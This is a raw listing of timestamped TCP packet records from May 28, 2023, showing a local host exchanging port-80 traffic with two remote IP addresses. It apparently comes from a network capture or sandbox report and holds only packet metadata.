May 28, 2023 10:42:52.173089981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173111916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173134089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173136950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173156023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173176050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173196077 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173214912 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173240900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173279047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173320055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173340082 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173345089 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173374891 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173388958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173389912 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173409939 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173430920 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173449993 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173459053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173470974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173490047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173499107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173511982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173516989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173532009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173540115 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173552990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173568010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173576117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173587084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173597097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173605919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173619032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173621893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173636913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173640966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173662901 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173665047 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173682928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173686981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173702002 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173703909 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173724890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173729897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173744917 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173753023 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173764944 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173768997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173785925 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173798084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173806906 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173813105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173830032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173849106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173849106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173851013 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173872948 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173875093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173891068 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173892975 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173913956 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173918962 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173934937 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173934937 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173955917 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173970938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173975945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.173990011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.173998117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.174006939 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.174021006 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.174024105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.174041986 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.174060106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.174062014 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.174079895 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.174196959 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.174249887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175050974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175071955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175091028 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175111055 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175129890 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175132036 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175157070 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175172091 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175172091 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175194025 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175242901 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175249100 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175302982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175323009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175343037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175343990 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175363064 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175371885 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175371885 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175384998 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175393105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175405979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175421953 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175429106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175446033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175446033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175451994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175472021 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175473928 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175493956 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175497055 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175513983 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175532103 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175534010 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175550938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175555944 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175576925 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175590038 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175590038 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175596952 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175615072 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175618887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175638914 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175657988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175662041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175678015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175698996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175718069 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175731897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175731897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175731897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175731897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175736904 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175762892 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175762892 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175766945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175789118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175796032 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175808907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175828934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175836086 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175848007 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175853968 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175868988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175872087 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175889015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.175896883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175896883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175910950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.175915956 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175932884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.175934076 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.175954103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.175968885 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.175973892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.175995111 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176002026 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176017046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176039934 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176047087 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176059961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176080942 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176095009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176100016 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176121950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176126003 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176141977 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176162958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176186085 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176193953 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176206112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176225901 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.176234007 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.176250935 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.405216932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.415901899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.415983915 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.457798958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.457865000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.457901955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.457932949 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.457957983 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.457988977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458000898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458000898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458000898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458000898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458000898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458028078 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458065987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458084106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458084106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458101034 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458126068 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458173037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458225012 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458261013 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458321095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458328009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458383083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458383083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458448887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458462954 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458484888 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458507061 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458518982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458539963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458553076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458575010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458586931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458620071 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458622932 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458642960 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458655119 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458688021 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458714962 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458719015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458735943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458754063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458786011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458805084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458805084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458820105 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458851099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458868980 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458883047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458894014 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458910942 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458916903 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458950043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.458966017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458966017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.458981991 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459013939 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459024906 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459045887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459085941 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459091902 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459091902 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459116936 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459120035 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459151030 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459166050 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459183931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459183931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459216118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459225893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459247112 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459248066 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459268093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459281921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459307909 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459316015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459350109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459371090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459371090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459381104 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459403992 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459414005 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459444046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459445953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459470987 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459479094 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459511995 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459523916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459523916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459543943 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459577084 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459578037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459609985 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459614038 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459645033 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459659100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459659100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459687948 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459713936 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459724903 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459759951 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459769964 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459789991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459791899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459819078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459826946 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459841967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459860086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459892988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459904909 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459927082 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459956884 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.459959030 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459959030 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459980965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.459988117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460002899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460024118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460055113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460057020 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460079908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460089922 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460120916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460138083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460138083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460160971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460191965 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460221052 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460226059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460247040 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460247040 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460277081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460283995 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460314035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460345030 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460374117 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460375071 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460397005 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460407019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460412025 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460427999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460441113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460464954 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460473061 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460498095 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460506916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460527897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460546970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460560083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460582972 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460602999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460614920 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460643053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460650921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460680008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460685015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460719109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460721016 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460742950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460751057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460781097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460783005 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460815907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460848093 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460850000 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460879087 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460894108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460911989 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460912943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460931063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.460947990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.460968018 CEST	49720	80	192.168.2.3	103.100.211.218
